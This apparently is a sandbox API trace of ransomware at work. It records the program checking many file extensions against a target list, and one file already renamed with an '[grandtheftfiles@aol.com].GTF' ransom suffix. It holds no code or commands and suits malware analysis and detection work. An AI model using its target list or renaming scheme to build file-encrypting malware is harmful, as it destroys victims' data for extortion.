	[0065.370] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".doc") returned 4
	[0065.370] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".docm") returned 5
	[0065.370] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0065.370] lstrlenW (lpString=".docx") returned 5
	[0065.370] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0065.370] lstrlenW (lpString=".dot") returned 4
	[0065.370] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".dotm") returned 5
	[0065.370] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0065.370] lstrlenW (lpString=".dotx") returned 5
	[0065.370] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0065.371] lstrlenW (lpString=".dpx") returned 4
	[0065.371] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0065.371] lstrlenW (lpString=".dqy") returned 4
	[0065.371] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0065.371] lstrlenW (lpString=".dsn") returned 4
	[0065.371] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0065.371] lstrlenW (lpString=".dt") returned 3
	[0065.371] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0065.371] lstrlenW (lpString=".dtd") returned 4
	[0065.371] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0065.371] lstrlenW (lpString=".dwg") returned 4
	[0065.371] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0065.371] lstrlenW (lpString=".dwt") returned 4
	[0065.371] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0065.371] lstrlenW (lpString=".dx") returned 3
	[0065.371] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0065.371] lstrlenW (lpString=".dxf") returned 4
	[0065.371] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0065.371] lstrlenW (lpString=".edml") returned 5
	[0065.371] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0066.409] lstrlenW (lpString=".efd") returned 4
	[0066.409] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0066.409] lstrlenW (lpString=".elf") returned 4
	[0066.409] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0066.409] lstrlenW (lpString=".emf") returned 4
	[0066.409] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0066.409] lstrlenW (lpString=".emz") returned 4
	[0066.409] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0066.409] lstrlenW (lpString=".epf") returned 4
	[0066.409] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0066.409] lstrlenW (lpString=".eps") returned 4
	[0066.409] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0066.409] lstrlenW (lpString=".epsf") returned 5
	[0066.409] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0066.409] lstrlenW (lpString=".epsp") returned 5
	[0066.410] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0066.410] lstrlenW (lpString=".erf") returned 4
	[0066.410] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".exr") returned 4
	[0066.410] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".f4v") returned 4
	[0066.410] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".fido") returned 5
	[0066.410] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0066.410] lstrlenW (lpString=".flm") returned 4
	[0066.410] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".flv") returned 4
	[0066.410] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".frm") returned 4
	[0066.410] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".fxg") returned 4
	[0066.410] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".geo") returned 4
	[0066.410] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".gif") returned 4
	[0066.410] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".grs") returned 4
	[0066.410] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".gz") returned 3
	[0066.410] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0066.410] lstrlenW (lpString=".h") returned 2
	[0066.410] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0066.410] lstrlenW (lpString=".hdr") returned 4
	[0066.410] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".hpp") returned 4
	[0066.410] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".hta") returned 4
	[0066.410] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".htc") returned 4
	[0066.410] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0066.410] lstrlenW (lpString=".htm") returned 4
	[0066.410] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".html") returned 5
	[0066.411] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0066.411] lstrlenW (lpString=".icb") returned 4
	[0066.411] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".ics") returned 4
	[0066.411] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".iff") returned 4
	[0066.411] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".inc") returned 4
	[0066.411] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".indd") returned 5
	[0066.411] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0066.411] lstrlenW (lpString=".ini") returned 4
	[0066.411] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".iqy") returned 4
	[0066.411] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".j2c") returned 4
	[0066.411] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".j2k") returned 4
	[0066.411] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".java") returned 5
	[0066.411] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0066.411] lstrlenW (lpString=".jp2") returned 4
	[0066.411] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".jpc") returned 4
	[0066.411] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".jpe") returned 4
	[0066.411] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".jpeg") returned 5
	[0066.411] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0066.411] lstrlenW (lpString=".jpf") returned 4
	[0066.411] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".jpg") returned 4
	[0066.411] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".jpx") returned 4
	[0066.411] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0066.411] lstrlenW (lpString=".js") returned 3
	[0066.411] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0066.412] lstrlenW (lpString=".jsf") returned 4
	[0066.412] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".json") returned 5
	[0066.412] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0066.412] lstrlenW (lpString=".jsp") returned 4
	[0066.412] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".kdc") returned 4
	[0066.412] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".kmz") returned 4
	[0066.412] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".kwm") returned 4
	[0066.412] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".lasso") returned 6
	[0066.412] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0066.412] lstrlenW (lpString=".lbi") returned 4
	[0066.412] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".lgf") returned 4
	[0066.412] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".lgp") returned 4
	[0066.412] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".log") returned 4
	[0066.412] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".m1v") returned 4
	[0066.412] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".m4a") returned 4
	[0066.412] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".m4v") returned 4
	[0066.412] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".max") returned 4
	[0066.412] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".md") returned 3
	[0066.412] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0066.412] lstrlenW (lpString=".mda") returned 4
	[0066.412] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".mdb") returned 4
	[0066.412] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0066.412] lstrlenW (lpString=".mde") returned 4
	[0066.412] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mdf") returned 4
	[0066.413] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mdw") returned 4
	[0066.413] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mef") returned 4
	[0066.413] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mft") returned 4
	[0066.413] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mfw") returned 4
	[0066.413] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mht") returned 4
	[0066.413] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mhtml") returned 6
	[0066.413] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0066.413] lstrlenW (lpString=".mka") returned 4
	[0066.413] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mkidx") returned 6
	[0066.413] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0066.413] lstrlenW (lpString=".mkv") returned 4
	[0066.413] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mos") returned 4
	[0066.413] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mov") returned 4
	[0066.413] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mp3") returned 4
	[0066.413] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mp4") returned 4
	[0066.413] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mpeg") returned 5
	[0066.413] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0066.413] lstrlenW (lpString=".mpg") returned 4
	[0066.413] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mpv") returned 4
	[0066.413] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".mrw") returned 4
	[0066.413] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0066.413] lstrlenW (lpString=".msg") returned 4
	[0066.413] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".mxl") returned 4
	[0066.414] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".myd") returned 4
	[0066.414] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".myi") returned 4
	[0066.414] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".nef") returned 4
	[0066.414] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".nrw") returned 4
	[0066.414] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".obj") returned 4
	[0066.414] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".odb") returned 4
	[0066.414] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".odc") returned 4
	[0066.414] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".odm") returned 4
	[0066.414] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".odp") returned 4
	[0066.414] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".ods") returned 4
	[0066.414] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".oft") returned 4
	[0066.414] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".one") returned 4
	[0066.414] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".onepkg") returned 7
	[0066.414] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0066.414] lstrlenW (lpString=".onetoc2") returned 8
	[0066.414] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0066.414] lstrlenW (lpString=".opt") returned 4
	[0066.414] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".oqy") returned 4
	[0066.414] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".orf") returned 4
	[0066.414] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0066.414] lstrlenW (lpString=".p12") returned 4
	[0066.415] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".p7b") returned 4
	[0066.415] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".p7c") returned 4
	[0066.415] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pam") returned 4
	[0066.415] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pbm") returned 4
	[0066.415] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pct") returned 4
	[0066.415] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pcx") returned 4
	[0066.415] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pdd") returned 4
	[0066.415] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pdf") returned 4
	[0066.415] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pdp") returned 4
	[0066.415] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pef") returned 4
	[0066.415] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pem") returned 4
	[0066.415] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pff") returned 4
	[0066.415] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pfm") returned 4
	[0066.415] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pfx") returned 4
	[0066.415] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".pgm") returned 4
	[0066.415] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".php") returned 4
	[0066.415] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0066.415] lstrlenW (lpString=".php3") returned 5
	[0066.415] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0066.415] lstrlenW (lpString=".php4") returned 5
	[0066.415] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0066.415] lstrlenW (lpString=".php5") returned 5
	[0066.415] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0066.416] lstrlenW (lpString=".phtml") returned 6
	[0066.416] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0066.416] lstrlenW (lpString=".pict") returned 5
	[0066.416] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0066.416] lstrlenW (lpString=".pl") returned 3
	[0066.416] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0066.416] lstrlenW (lpString=".pls") returned 4
	[0066.416] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0066.416] lstrlenW (lpString=".pm") returned 3
	[0066.416] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0066.416] lstrlenW (lpString=".png") returned 4
	[0066.416] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0066.416] lstrlenW (lpString=".pnm") returned 4
	[0066.416] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0066.416] lstrlenW (lpString=".pot") returned 4
	[0066.416] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0066.416] lstrlenW (lpString=".potm") returned 5
	[0066.416] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0066.416] lstrlenW (lpString=".potx") returned 5
	[0066.416] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0066.416] lstrlenW (lpString=".ppa") returned 4
	[0066.416] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0066.416] lstrlenW (lpString=".ppam") returned 5
	[0066.416] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0066.416] lstrlenW (lpString=".ppm") returned 4
	[0066.416] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0066.416] lstrlenW (lpString=".pps") returned 4
	[0066.416] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0066.416] lstrlenW (lpString=".ppsm") returned 5
	[0066.416] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0066.416] lstrlenW (lpString=".ppt") returned 4
	[0066.416] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.416] lstrlenW (lpString=".pptm") returned 5
	[0066.416] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0066.416] lstrlenW (lpString=".pptx") returned 5
	[0066.416] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0066.416] lstrlenW (lpString=".prn") returned 4
	[0066.416] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".ps") returned 3
	[0066.417] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0066.417] lstrlenW (lpString=".psb") returned 4
	[0066.417] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".psd") returned 4
	[0066.417] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".pst") returned 4
	[0066.417] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".ptx") returned 4
	[0066.417] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".pub") returned 4
	[0066.417] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".pwm") returned 4
	[0066.417] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".pxr") returned 4
	[0066.417] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".py") returned 3
	[0066.417] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0066.417] lstrlenW (lpString=".qt") returned 3
	[0066.417] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0066.417] lstrlenW (lpString=".r3d") returned 4
	[0066.417] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".raf") returned 4
	[0066.417] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".rar") returned 4
	[0066.417] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".raw") returned 4
	[0066.417] lstrcmpiW (lpString1=".raw", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".rdf") returned 4
	[0066.417] lstrcmpiW (lpString1=".rdf", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".rgbe") returned 5
	[0066.417] lstrcmpiW (lpString1=".rgbe", lpString2="a.rtf") returned -1
	[0066.417] lstrlenW (lpString=".rle") returned 4
	[0066.417] lstrcmpiW (lpString1=".rle", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".rqy") returned 4
	[0066.417] lstrcmpiW (lpString1=".rqy", lpString2=".rtf") returned -1
	[0066.417] lstrlenW (lpString=".rss") returned 4
	[0066.417] lstrcmpiW (lpString1=".rss", lpString2=".rtf") returned -1
	[0066.418] lstrlenW (lpString=".rtf") returned 4
	[0066.418] lstrcmpiW (lpString1=".rtf", lpString2=".rtf") returned 0
	[0066.418] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a83aa, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e3a83aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0066.418] lstrlenW (lpString="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 50
	[0066.418] lstrlenW (lpString=".1cd") returned 4
	[0066.418] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0066.418] lstrlenW (lpString=".3ds") returned 4
	[0066.418] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0066.418] lstrlenW (lpString=".3fr") returned 4
	[0066.418] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0066.418] lstrlenW (lpString=".3g2") returned 4
	[0066.418] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0066.418] lstrlenW (lpString=".3gp") returned 4
	[0066.418] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0066.418] lstrlenW (lpString=".7z") returned 3
	[0066.418] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0066.418] lstrlenW (lpString=".accda") returned 6
	[0066.418] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0066.418] lstrlenW (lpString=".accdb") returned 6
	[0066.418] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0066.418] lstrlenW (lpString=".accdc") returned 6
	[0066.418] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0066.418] lstrlenW (lpString=".accde") returned 6
	[0066.418] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0066.418] lstrlenW (lpString=".accdt") returned 6
	[0066.418] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0066.418] lstrlenW (lpString=".accdw") returned 6
	[0066.418] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0066.418] lstrlenW (lpString=".adb") returned 4
	[0066.418] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0066.418] lstrlenW (lpString=".adp") returned 4
	[0066.418] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0066.418] lstrlenW (lpString=".ai") returned 3
	[0066.418] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0066.418] lstrlenW (lpString=".ai3") returned 4
	[0066.418] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".ai4") returned 4
	[0066.419] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".ai5") returned 4
	[0066.419] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".ai6") returned 4
	[0066.419] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".ai7") returned 4
	[0066.419] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".ai8") returned 4
	[0066.419] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".anim") returned 5
	[0066.419] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0066.419] lstrlenW (lpString=".arw") returned 4
	[0066.419] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".as") returned 3
	[0066.419] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0066.419] lstrlenW (lpString=".asa") returned 4
	[0066.419] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".asc") returned 4
	[0066.419] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".ascx") returned 5
	[0066.419] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0066.419] lstrlenW (lpString=".asm") returned 4
	[0066.419] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".asmx") returned 5
	[0066.419] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0066.419] lstrlenW (lpString=".asp") returned 4
	[0066.419] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".aspx") returned 5
	[0066.419] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0066.419] lstrlenW (lpString=".asr") returned 4
	[0066.419] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".asx") returned 4
	[0066.419] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".avi") returned 4
	[0066.419] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0066.419] lstrlenW (lpString=".avs") returned 4
	[0066.419] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".backup") returned 7
	[0066.420] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0066.420] lstrlenW (lpString=".bak") returned 4
	[0066.420] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0066.420] lstrlenW (lpString=".bay") returned 4
